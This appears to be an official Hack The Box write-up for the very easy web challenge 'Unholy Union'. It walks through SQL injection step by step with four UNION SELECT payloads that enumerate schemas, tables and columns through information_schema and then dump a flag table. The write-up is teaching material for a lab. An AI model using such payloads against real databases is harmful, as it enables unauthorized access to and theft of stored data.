69 lines
2 KiB
Markdown
69 lines
2 KiB
Markdown
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<img src="assets/htb.png" style="margin-left: 20px; zoom: 80%;" align=left /> <font size="6">Unholy Union</font>
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20<sup>th</sup> Oct 2024 / Document No. D24.xxx.xxx
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Prepared By: Xclow3n
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Challenge Author: Xclow3n
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Difficulty: <font color=green>Very Easy</font>
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Classification: Official
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# [Synopsis](#synopsis)
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Unholy Union is a very easy web challenge designed to help players understand and exploit SQL Injection.
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# Skills Required
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- Basic knowledge of SQL
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# Skills Learned
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- SQL Injection
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# [Solution](#Solution)
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Visiting the web app displays the following page:
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We can perform a search, which updates the SQL query, and clicking the search button shows the results in both the web app and the debug window.
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Let's add a quote to see if we can break out of the SQL query and inject our own commands.
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We get a syntax error, which means we can inject SQL. Let's retrieve all the existing databases using the following query:
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```
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Gun' UNION SELECT NULL, NULL, NULL, NULL, (SELECT GROUP_CONCAT(SCHEMA_NAME) FROM information_schema.schemata) -- -
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```
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Running this query shows a database named `halloween_inventory` in addition to the default ones.
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Next, let's fetch all the tables in this database with the following query:
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```
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Gun' UNION SELECT NULL, NULL, NULL, NULL, (SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.tables WHERE TABLE_SCHEMA='halloween_inventory') -- -
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```
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We see a table named `flag`. Now, let's find the columns in this table to retrieve data. Use this query:
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```
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Gun' UNION SELECT NULL, NULL, NULL, NULL, (SELECT GROUP_CONCAT(COLUMN_NAME) FROM information_schema.columns WHERE table_name='flag') -- -
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```
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Now that we know the column and table names, let's fetch the flag using this query:
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```
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Gun' UNION SELECT NULL, NULL, NULL, NULL, (SELECT GROUP_CONCAT(flag) FROM flag) -- -
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```
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This completes the challenge! :)
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